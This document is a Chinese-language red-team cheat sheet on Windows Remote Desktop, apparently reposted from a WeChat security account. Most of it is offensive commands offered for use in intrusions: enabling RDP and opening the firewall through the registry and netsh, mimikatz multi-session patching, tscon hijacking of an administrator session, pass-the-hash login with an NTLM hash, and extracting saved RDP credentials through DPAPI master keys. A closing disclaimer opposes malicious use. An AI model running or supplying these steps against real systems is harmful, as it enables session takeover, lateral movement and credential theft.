写在前面
整理了一下RDP相关的内容,实战遇到的问题和可能出现的问题。
目录
0x01 确认是否开启RDP
0x02 命令行开启RDP
0x03 RDP登录域内用户
0x04 RDP端口修改后连接
0x05 RDP多用户登录
0x06 RDP会话劫持
0x07 连接报错:没有远程桌面授权服务器可以提供许可证
0x08 无明文情况登录RDP
0x09 RDP凭据获取
确认是否开启RDP
## 获得远程命令行权限后,通过命令确认是否开启RDP
## 找到对应服务进程的 PID
tasklist /svc | find "TermService"
## 通过PID找到对应rdp端口
netstat -ano | find "PID"
## 找到进程对应的端口号,这个不准可能,会换端口!!
netstat -ano | find "3389"
### 查询注册表fDenyTSConnections项的值为0,则表明已启用RDP
reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
命令行开启RDP
### windows server 2003开启RDP服务
Wmic path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1
### 开启RDP服务,可能会被杀软拦截
reg add "hklmsystemCurrentControlSetControlTerminal server" /v fDenyTSConnections /t reg_dword /d 00000000 /f
### 关闭RDP服务
reg add "hklmsystemCurrentControlSetcontrolTerminal Server" /v fDenyTSConnections /t reg_dword /d 00000001 /f
### 防火墙放通
netsh advfirewall firewall Add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
RDP登录域内用户
域用户
RDP端口修改后连接
在ip后输入端口即可
RDP多用户登录
## 场景:一台跳板机多个红队人员情况
## 方法一
privilege::Debug
ts::multirdp
### 方法二参考:https://blog.csdn.net/MsTiang/article/details/123425123
gpedit.msc
在“计算机组策略”中依次展开 计算机配置-->管理模板--->windows组件--->然后在右边的菜单中选择远程桌面服务
在远程桌面服务界面中;双击打开“远程桌面会话主机”
在“远程桌面会话主机”界面中双击打开“连接”
在“连接”界面中双击打开“将远程桌面服务用户限制到单独的远程桌面服务会话”
在“将远程桌面服务用户限制到单独的远程桌面服务会话”界面中选择“已禁用”然后点击确定
然后返回连接界面,在“连接”界面中双击打开“限制连接的数量”
在“限制连接的数量”界面中;选择“已启用”--->然后在选项里面“允许的RD最大连接数”里面选择你能接受的最大的同时远程的用户数;我这里选择的是5;也就是能支持同时5个远程桌面管理;然后点击确定即可
RDP会话劫持
RDP登录普通用户权限后 query user查看存在的会话记录,如果存在administrator(断开连接状态也可)会话ID为9。提权到system权限后,命令行执行tscon 9劫持该会话。
连接报错:没有远程桌面授权服务器可以提供许可证
## 实战遇到RDP报错:由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系
## 解决方法:
mstsc /admin /v:目标ip
无明文情况登录RDP
### 仅管理员组有用,需要debug,先获得管理员cmd(psexec自己传自己)。
### 理论上是没有问题的,目前实战拉起RDP登录界面还让我输入账号密码,下次再试试。
privilege::debug
sekurlsa::pth /user:administrator /domain:abc.com /ntlm:7***********************a "/run:mstsc.exe /restrictedadmin"
sekurlsa::pth /user:Administrator /domain:ip/hostname /ntlm:nt-hash "/run:mstsc.exe /restrictedadmin
更多参考:https://xz.aliyun.com/t/8574
RDP凭据获取
方法一
mimikatz.exe
vault::cred
方法二
#查看mstsc的连接记录
cmdkey /list
#查找本地的Credentials
dir /a %userprofile%appdatalocalmicrosoftcredentials*
如果存在凭据,使用mimikatz解析
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:Usersadministrator.TESTappdatalocalmicrosoftcredentialsAFCD2DF5CFF3011965E57ABB0ED64240"
//再执行如下命令,找到guidMasterKey对应的MasterKey
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
使用MasterKey解析guidMasterKey
mimikatz.exe "dpapi::cred /in:C:Usersadministrator.TESTappdatalocalmicrosoftcredentialsAFCD2DF5CFF3011965E57ABB0ED64240 /masterkey:3886e1d7a926c6267058d67385cb4e985b3aa0d3f635eebb5fe83ce8d0457d4493e8694f60d9f19a96631c89411ed5477254be5cd5d90c5ed5d36bd4c3271615"
写在最后
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好地维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
原文始发于微信公众号(云下信安):RDP相关总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论